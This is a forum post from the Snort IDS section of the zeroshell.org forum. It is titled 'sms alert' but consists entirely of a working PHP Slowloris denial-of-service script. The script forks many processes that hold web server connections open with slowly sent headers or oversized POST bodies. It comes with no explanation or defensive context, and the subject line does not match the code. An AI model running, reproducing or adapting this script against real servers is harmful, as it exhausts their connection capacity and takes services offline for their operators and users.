www.zeroshell.org Forum Index www.zeroshell.org
Linux Distribution for server and embedded devices
 
 SearchSearch  RegisterRegister  UsergroupsUsergroups 
 ProfileProfile  Log inLog in  Log in to check your private messagesPrivate Message 

sms alert

 
Post new topic   Reply to topic    www.zeroshell.org Forum Index -> Snort IDS
View previous topic :: View next topic  
Author Message
yat



Joined: 05 Aug 2012
Posts: 2

PostPosted: Sun Aug 05, 2012 6:31 am    Post subject: sms alert Reply with quote

#! /usr/bin/env php
<?php
/* PHP Slowloris
* Contains get based attack (slow headers) and post based attack (long content length)
*
* Author: Seppe vanden Broucke
*/

function usage($argv){
print "Usage: ./{$argv[0]} <get or post> <number of processes> <server> [host]\n";
die();
}

function attack_get($server, $host){
$request = "GET / HTTP/1.1\r\n";
$request .= "Host: $host\r\n";
$request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
$request .= "Keep-Alive: 900\r\n";
$request .= "Content-Length: " . rand(10000, 1000000) . "\r\n";
$request .= "Accept: *.*\r\n";
$request .= "X-a: " . rand(1, 10000) . "\r\n";

$sockfd = @fsockopen($server, 80, $errno, $errstr);
@fwrite($sockfd, $request);

while (true){
if (@fwrite($sockfd, "X-c:" . rand(1, 100000) . "\r\n")){
echo ".";
sleep(15);
}else{
echo "\nOne get attack failed to sent...\n";
$sockfd = @fsockopen($server, 80, $errno, $errstr);
@fwrite($sockfd, $request);
}
}

}

function attack_post($server, $host){
$request = "POST /".md5(rand())." HTTP/1.1\r\n";
$request .= "Host: $host\r\n";
$request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
$request .= "Keep-Alive: 900\r\n";
$request .= "Content-Length: 1000000000\r\n";
$request .= "Content-Type: application/x-www-form-urlencoded\r\n";
$request .= "Accept: *.*\r\n";

$sockfd = @fsockopen($server, 80, $errno, $errstr);
@fwrite($sockfd, $request);

while (true){
if (@fwrite($sockfd, ".") !== FALSE){
echo ".";
sleep(1);
}else{
echo "\nOne post attack failed to sent...\n";
$sockfd = @fsockopen($server, 80, $errno, $errstr);
@fwrite($sockfd, $request);
}
}

}

function main($argc, $argv){
$status = 1;

if ($argc == 4){
$argv[4] = $argv[3];
}else if ($argc < 5){
usage($argv);
}

$pids = array();

for ($i = 0; $i < $argv[2]; $i++){
$pid = pcntl_fork();

if ($pid == -1){
die("Error forking!\n");
}else if ($pid == 0){
//child process
if ($argv[1] == 'post') {
attack_post($argv[3], $argv[4]);
}elseif ($argv[1] == 'get') {
attack_get($argv[3], $argv[4]);
}else{
die("Invalid method, use 'get' or 'post'\n");
}
exit(0);
}else{
//parent process
$pids[] = $pid;
}
}

foreach ($pids as $pid){
pcntl_waitpid($pid, $status);
}
}


main($argc, $argv);
Back to top
View user's profile Send private message
Display posts from previous:   
Post new topic   Reply to topic    www.zeroshell.org Forum Index -> Snort IDS All times are GMT
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum


Powered by phpBB © 2001, 2005 phpBB Group